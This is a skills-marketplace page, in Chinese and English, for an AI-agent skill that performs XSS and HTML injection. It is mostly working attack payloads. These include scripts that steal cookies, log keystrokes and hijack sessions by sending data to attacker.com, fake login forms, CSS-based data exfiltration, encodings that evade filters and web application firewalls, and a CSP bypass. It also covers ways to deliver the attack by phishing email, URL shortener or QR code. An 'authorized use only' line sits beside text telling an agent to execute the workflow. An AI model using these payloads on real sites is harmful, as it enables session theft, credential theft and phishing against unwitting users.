重要前提
安装AI Skills的关键前提是:必须科学上网,且开启TUN模式,这一点至关重要,直接决定安装能否顺利完成,在此郑重提醒三遍:科学上网,科学上网,科学上网。查看完整安装教程 →
xss-html-injection by sickn33/antigravity-awesome-skills
npx skills add https://github.com/sickn33/antigravity-awesome-skills --skill xss-html-injection仅限授权使用:此技能仅限用于授权的安全评估、防御验证或受控教育环境。
对 Web 应用程序执行全面的客户端注入漏洞评估,以识别 XSS 和 HTML 注入缺陷,演示会话劫持和凭据窃取等利用技术,并验证输入清理和输出编码机制。此技能支持跨存储型、反射型和基于 DOM 的攻击向量进行系统性检测和利用。
定位用户输入在响应中被反射的区域:
# 常见注入向量
- 搜索框和查询参数
- 用户资料字段(姓名、简介、评论)
- URL 片段和哈希值
- 显示用户输入的错误消息
- 仅进行客户端验证的表单字段
- 隐藏的表单字段和参数
- HTTP 头(User-Agent、Referer)
广告位招租
在这里展示您的产品或服务
触达数万 AI 开发者,精准高效
插入测试字符串以观察应用程序行为:
<!-- 基本反射测试 -->
<test123>
<!-- 脚本标签测试 -->
<script>alert('XSS')</script>
<!-- 事件处理器测试 -->
<img src=x onerror=alert('XSS')>
<!-- 基于 SVG 的测试 -->
<svg onload=alert('XSS')>
<!-- Body 事件测试 -->
<body onload=alert('XSS')>
监控以下情况:
存储型 XSS 指标:
反射型 XSS 指标:
基于 DOM 的 XSS 指标:
定位包含持久性用户内容的区域:
- 评论区与论坛
- 用户资料字段(显示名称、简介、位置)
- 产品评论和评分
- 私信和聊天系统
- 文件上传元数据(文件名、描述)
- 配置设置和偏好
<!-- Cookie 窃取载荷 -->
<script>
document.location='http://attacker.com/steal?c='+document.cookie
</script>
<!-- 键盘记录器注入 -->
<script>
document.onkeypress=function(e){
new Image().src='http://attacker.com/log?k='+e.key;
}
</script>
<!-- 会话劫持 -->
<script>
fetch('http://attacker.com/capture',{
method:'POST',
body:JSON.stringify({cookies:document.cookie,url:location.href})
})
</script>
<!-- 钓鱼表单注入 -->
<div id="login">
<h2>会话已过期 - 请重新登录</h2>
<form action="http://attacker.com/phish" method="POST">
用户名: <input name="user"><br>
密码: <input type="password" name="pass"><br>
<input type="submit" value="登录">
</form>
</div>
构建包含 XSS 载荷的 URL:
# 基本反射载荷
https://target.com/search?q=<script>alert(document.domain)</script>
# URL 编码载荷
https://target.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E
# 参数中的事件处理器
https://target.com/page?name="><img src=x onerror=alert(1)>
# 基于片段的(用于 DOM XSS)
https://target.com/page#<script>alert(1)</script>
向受害者交付反射型 XSS 的技术:
1. 包含精心构造链接的钓鱼邮件
2. 社交媒体消息分发
3. 使用 URL 缩短器隐藏载荷
4. 编码恶意 URL 的二维码
5. 通过受信任域的重定向链
定位处理用户输入的 JavaScript 函数:
// 危险的接收器
document.write()
document.writeln()
element.innerHTML
element.outerHTML
element.insertAdjacentHTML()
eval()
setTimeout()
setInterval()
Function()
location.href
location.assign()
location.replace()
定位用户可控数据进入应用程序的位置:
// 用户可控的来源
location.hash
location.search
location.href
document.URL
document.referrer
window.name
postMessage data
localStorage/sessionStorage
// 基于哈希的注入
https://target.com/page#<img src=x onerror=alert(1)>
// URL 参数注入(客户端处理)
https://target.com/page?default=<script>alert(1)</script>
// PostMessage 利用
// 在攻击者页面上:
<iframe src="https://target.com/vulnerable"></iframe>
<script>
frames[0].postMessage('<img src=x onerror=alert(1)>','*');
</script>
在不使用 JavaScript 的情况下修改页面外观:
<!-- 内容注入 -->
<h1>网站被黑</h1>
<!-- 表单劫持 -->
<form action="http://attacker.com/capture">
<input name="credentials" placeholder="输入密码">
<button>提交</button>
</form>
<!-- 用于数据渗漏的 CSS 注入 -->
<style>
input[value^="a"]{background:url(http://attacker.com/a)}
input[value^="b"]{background:url(http://attacker.com/b)}
</style>
<!-- iframe 注入 -->
<iframe src="http://attacker.com/phishing" style="position:absolute;top:0;left:0;width:100%;height:100%"></iframe>
持久性内容操控:
<!-- 跑马灯干扰 -->
<marquee>重要安全通知:您的账户已遭入侵!</marquee>
<!-- 样式覆盖 -->
<style>body{background:red !important;}</style>
<!-- 使用 CSS 隐藏内容 -->
<div style="position:fixed;top:0;left:0;width:100%;background:white;z-index:9999;">
此处放置伪造登录表单或误导性内容
</div>
<!-- 大小写变体 -->
<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x ONERROR=alert(1)>
<!-- 替代标签 -->
<svg/onload=alert(1)>
<body/onload=alert(1)>
<marquee/onstart=alert(1)>
<details/open/ontoggle=alert(1)>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>
<!-- 畸形标签 -->
<img src=x onerror=alert(1)//
<img """><script>alert(1)</script>">
<!-- HTML 实体编码 -->
<img src=x onerror=alert(1)>
<!-- 十六进制编码 -->
<img src=x onerror=alert(1)>
<!-- Unicode 编码 -->
<script>\u0061lert(1)</script>
<!-- 混合编码 -->
<img src=x onerror=\u0061\u006cert(1)>
// 字符串连接
<script>eval('al'+'ert(1)')</script>
// 模板字面量
<script>alert`1`</script>
// 构造函数执行
<script>[].constructor.constructor('alert(1)')()</script>
// Base64 编码
<script>eval(atob('YWxlcnQoMSk='))</script>
// 不使用括号
<script>alert`1`</script>
<script>throw/a]a]/.source+onerror=alert</script>
<!-- 插入制表符/换行符 -->
<img src=x onerror
=alert(1)>
<!-- JavaScript 注释 -->
<script>/**/alert(1)/**/</script>
<!-- 属性中的 HTML 注释 -->
<img src=x onerror="alert(1)"<!--comment-->
1. 插入 <script>alert(1)</script> → 检查执行
2. 插入 <img src=x onerror=alert(1)> → 检查事件处理器
3. 插入 "><script>alert(1)</script> → 测试属性转义
4. 插入 javascript:alert(1) → 测试 href/src 属性
5. 检查 URL 哈希处理 → DOM XSS 潜力
| 上下文 | 载荷 |
|---|---|
| HTML 正文 | <script>alert(1)</script> |
| HTML 属性 | "><script>alert(1)</script> |
| JavaScript 字符串 | ';alert(1)// |
| JavaScript 模板 | ${alert(1)} |
| URL 属性 | javascript:alert(1) |
| CSS 上下文 | </style><script>alert(1)</script> |
| SVG 上下文 | <svg onload=alert(1)> |
<script>
new Image().src='http://attacker.com/c='+btoa(document.cookie);
</script>
<script>
fetch('https://attacker.com/log',{
method:'POST',
mode:'no-cors',
body:JSON.stringify({
cookies:document.cookie,
localStorage:JSON.stringify(localStorage),
url:location.href
})
});
</script>
场景:博客评论功能存在存储型 XSS 漏洞
检测:
POST /api/comments
Content-Type: application/json
{"body": "<script>alert('XSS')</script>", "postId": 123}
观察:评论被渲染且脚本对所有查看者执行
利用载荷:
<script>
var i = new Image();
i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
</script>
结果:每个查看该评论的用户,其会话 Cookie 都会被发送到攻击者的服务器。
场景:搜索结果页面未经编码即反射查询内容
易受攻击的 URL:
https://shop.example.com/search?q=test
检测测试:
https://shop.example.com/search?q=<script>alert(document.domain)</script>
精心构造的攻击 URL:
https://shop.example.com/search?q=%3Cimg%20src=x%20onerror=%22fetch('https://attacker.com/log?c='+document.cookie)%22%3E
交付:URL 通过钓鱼邮件发送给目标用户。
场景:JavaScript 读取 URL 哈希并将其插入到 DOM 中
易受攻击的代码:
document.getElementById('welcome').innerHTML = 'Hello, ' + location.hash.slice(1);
攻击 URL:
https://app.example.com/dashboard#<img src=x onerror=alert(document.cookie)>
结果:脚本完全在客户端执行;载荷从未触及服务器。
场景:网站启用了 CSP 但允许受信任的 CDN
CSP 头:
Content-Security-Policy: script-src 'self' https://cdn.trusted.com
绕过:在受信任域上找到 JSONP 端点:
<script src="https://cdn.trusted.com/api/jsonp?callback=alert"></script>
结果:使用允许的脚本源绕过了 CSP。
| 问题 | 解决方案 |
|---|---|
| 脚本未执行 | 检查 CSP 是否阻止;验证编码;尝试事件处理器(img、svg onerror);确认 JS 已启用 |
| 载荷出现但不执行 | 使用 " 或 ' 跳出属性上下文;检查是否在注释内;测试不同的上下文 |
| Cookie 不可访问 | 检查 HttpOnly 标志;尝试 localStorage/sessionStorage;使用 no-cors 模式 |
| CSP 阻止载荷 | 在白名单域上查找 JSONP;检查是否存在 unsafe-inline;测试 base-uri 绕过 |
| WAF 阻止请求 | 使用编码变体;片段载荷;空字节;大小写变体 |
此技能适用于执行概述中描述的工作流程或操作。
每周安装
72
仓库
GitHub Stars
29.5K
首次出现
2026年2月21日
安全审计
安装于
codex67
opencode67
github-copilot65
kimi-cli65
amp65
gemini-cli65
AUTHORIZED USE ONLY: Use this skill only for authorized security assessments, defensive validation, or controlled educational environments.
Execute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and validate input sanitization and output encoding mechanisms. This skill enables systematic detection and exploitation across stored, reflected, and DOM-based attack vectors.
Locate areas where user input is reflected in responses:
# Common injection vectors
- Search boxes and query parameters
- User profile fields (name, bio, comments)
- URL fragments and hash values
- Error messages displaying user input
- Form fields with client-side validation only
- Hidden form fields and parameters
- HTTP headers (User-Agent, Referer)
Insert test strings to observe application behavior:
<!-- Basic reflection test -->
<test123>
<!-- Script tag test -->
<script>alert('XSS')</script>
<!-- Event handler test -->
<img src=x onerror=alert('XSS')>
<!-- SVG-based test -->
<svg onload=alert('XSS')>
<!-- Body event test -->
<body onload=alert('XSS')>
Monitor for:
Stored XSS Indicators:
Reflected XSS Indicators:
DOM-Based XSS Indicators:
Target areas with persistent user content:
- Comment sections and forums
- User profile fields (display name, bio, location)
- Product reviews and ratings
- Private messages and chat systems
- File upload metadata (filename, description)
- Configuration settings and preferences
<!-- Cookie stealing payload -->
<script>
document.location='http://attacker.com/steal?c='+document.cookie
</script>
<!-- Keylogger injection -->
<script>
document.onkeypress=function(e){
new Image().src='http://attacker.com/log?k='+e.key;
}
</script>
<!-- Session hijacking -->
<script>
fetch('http://attacker.com/capture',{
method:'POST',
body:JSON.stringify({cookies:document.cookie,url:location.href})
})
</script>
<!-- Phishing form injection -->
<div id="login">
<h2>Session Expired - Please Login</h2>
<form action="http://attacker.com/phish" method="POST">
Username: <input name="user"><br>
Password: <input type="password" name="pass"><br>
<input type="submit" value="Login">
</form>
</div>
Build URLs containing XSS payloads:
# Basic reflected payload
https://target.com/search?q=<script>alert(document.domain)</script>
# URL-encoded payload
https://target.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E
# Event handler in parameter
https://target.com/page?name="><img src=x onerror=alert(1)>
# Fragment-based (for DOM XSS)
https://target.com/page#<script>alert(1)</script>
Techniques for delivering reflected XSS to victims:
1. Phishing emails with crafted links
2. Social media message distribution
3. URL shorteners to obscure payload
4. QR codes encoding malicious URLs
5. Redirect chains through trusted domains
Locate JavaScript functions that process user input:
// Dangerous sinks
document.write()
document.writeln()
element.innerHTML
element.outerHTML
element.insertAdjacentHTML()
eval()
setTimeout()
setInterval()
Function()
location.href
location.assign()
location.replace()
Locate where user-controlled data enters the application:
// User-controllable sources
location.hash
location.search
location.href
document.URL
document.referrer
window.name
postMessage data
localStorage/sessionStorage
// Hash-based injection
https://target.com/page#<img src=x onerror=alert(1)>
// URL parameter injection (processed client-side)
https://target.com/page?default=<script>alert(1)</script>
// PostMessage exploitation
// On attacker page:
<iframe src="https://target.com/vulnerable"></iframe>
<script>
frames[0].postMessage('<img src=x onerror=alert(1)>','*');
</script>
Modify page appearance without JavaScript:
<!-- Content injection -->
<h1>SITE HACKED</h1>
<!-- Form hijacking -->
<form action="http://attacker.com/capture">
<input name="credentials" placeholder="Enter password">
<button>Submit</button>
</form>
<!-- CSS injection for data exfiltration -->
<style>
input[value^="a"]{background:url(http://attacker.com/a)}
input[value^="b"]{background:url(http://attacker.com/b)}
</style>
<!-- iframe injection -->
<iframe src="http://attacker.com/phishing" style="position:absolute;top:0;left:0;width:100%;height:100%"></iframe>
Persistent content manipulation:
<!-- Marquee disruption -->
<marquee>Important Security Notice: Your account is compromised!</marquee>
<!-- Style override -->
<style>body{background:red !important;}</style>
<!-- Hidden content with CSS -->
<div style="position:fixed;top:0;left:0;width:100%;background:white;z-index:9999;">
Fake login form or misleading content here
</div>
<!-- Case variation -->
<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x ONERROR=alert(1)>
<!-- Alternative tags -->
<svg/onload=alert(1)>
<body/onload=alert(1)>
<marquee/onstart=alert(1)>
<details/open/ontoggle=alert(1)>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>
<!-- Malformed tags -->
<img src=x onerror=alert(1)//
<img """><script>alert(1)</script>">
<!-- HTML entity encoding -->
<img src=x onerror=alert(1)>
<!-- Hex encoding -->
<img src=x onerror=alert(1)>
<!-- Unicode encoding -->
<script>\u0061lert(1)</script>
<!-- Mixed encoding -->
<img src=x onerror=\u0061\u006cert(1)>
// String concatenation
<script>eval('al'+'ert(1)')</script>
// Template literals
<script>alert`1`</script>
// Constructor execution
<script>[].constructor.constructor('alert(1)')()</script>
// Base64 encoding
<script>eval(atob('YWxlcnQoMSk='))</script>
// Without parentheses
<script>alert`1`</script>
<script>throw/a]a]/.source+onerror=alert</script>
<!-- Tab/newline insertion -->
<img src=x onerror
=alert(1)>
<!-- JavaScript comments -->
<script>/**/alert(1)/**/</script>
<!-- HTML comments in attributes -->
<img src=x onerror="alert(1)"<!--comment-->
1. Insert <script>alert(1)</script> → Check execution
2. Insert <img src=x onerror=alert(1)> → Check event handler
3. Insert "><script>alert(1)</script> → Test attribute escape
4. Insert javascript:alert(1) → Test href/src attributes
5. Check URL hash handling → DOM XSS potential
| Context | Payload |
|---|---|
| HTML body | <script>alert(1)</script> |
| HTML attribute | "><script>alert(1)</script> |
| JavaScript string | ';alert(1)// |
| JavaScript template | ${alert(1)} |
| URL attribute | javascript:alert(1) |
| CSS context | </style><script>alert(1)</script> |
<script>
new Image().src='http://attacker.com/c='+btoa(document.cookie);
</script>
<script>
fetch('https://attacker.com/log',{
method:'POST',
mode:'no-cors',
body:JSON.stringify({
cookies:document.cookie,
localStorage:JSON.stringify(localStorage),
url:location.href
})
});
</script>
Scenario : Blog comment feature vulnerable to stored XSS
Detection :
POST /api/comments
Content-Type: application/json
{"body": "<script>alert('XSS')</script>", "postId": 123}
Observation : Comment renders and script executes for all viewers
Exploitation Payload :
<script>
var i = new Image();
i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
</script>
Result : Every user viewing the comment has their session cookie sent to attacker's server.
Scenario : Search results page reflects query without encoding
Vulnerable URL :
https://shop.example.com/search?q=test
Detection Test :
https://shop.example.com/search?q=<script>alert(document.domain)</script>
Crafted Attack URL :
https://shop.example.com/search?q=%3Cimg%20src=x%20onerror=%22fetch('https://attacker.com/log?c='+document.cookie)%22%3E
Delivery : URL sent via phishing email to target user.
Scenario : JavaScript reads URL hash and inserts into DOM
Vulnerable Code :
document.getElementById('welcome').innerHTML = 'Hello, ' + location.hash.slice(1);
Attack URL :
https://app.example.com/dashboard#<img src=x onerror=alert(document.cookie)>
Result : Script executes entirely client-side; payload never touches server.
Scenario : Site has CSP but allows trusted CDN
CSP Header :
Content-Security-Policy: script-src 'self' https://cdn.trusted.com
Bypass : Find JSONP endpoint on trusted domain:
<script src="https://cdn.trusted.com/api/jsonp?callback=alert"></script>
Result : CSP bypassed using allowed script source.
| Issue | Solutions |
|---|---|
| Script not executing | Check CSP blocking; verify encoding; try event handlers (img, svg onerror); confirm JS enabled |
| Payload appears but doesn't execute | Break out of attribute context with " or '; check if inside comment; test different contexts |
| Cookies not accessible | Check HttpOnly flag; try localStorage/sessionStorage; use no-cors mode |
| CSP blocking payloads | Find JSONP on whitelisted domains; check for unsafe-inline; test base-uri bypass |
| WAF blocking requests | Use encoding variations; fragment payload; null bytes; case variations |
This skill is applicable to execute the workflow or actions described in the overview.
Weekly Installs
72
Repository
GitHub Stars
29.5K
First Seen
Feb 21, 2026
Security Audits
Gen Agent Trust HubFailSocketWarnSnykFail
Installed on
codex67
opencode67
github-copilot65
kimi-cli65
amp65
gemini-cli65
xdrop 文件传输脚本:Bun 环境下安全上传下载工具,支持加密分享
44,100 周安装
DigitalOcean托管数据库完全指南:PostgreSQL、MySQL、Redis、MongoDB、Kafka等云数据库管理
101 周安装
Web安全漏洞大全:100个关键漏洞详解与修复指南 | 渗透测试必备
100 周安装
文章插图生成器 - AI智能分析文章内容,自动生成风格一致的信息图、流程图等插图
105 周安装
Weights & Biases (W&B) 使用指南:机器学习实验追踪与 MLOps 平台
63 周安装
AI 端到端测试工具 - 支持 8 大平台,零代码实现自动化测试
98 周安装
Confluence 专家指南:空间管理、文档架构、模板与协作知识库搭建
98 周安装
| SVG context | <svg onload=alert(1)> |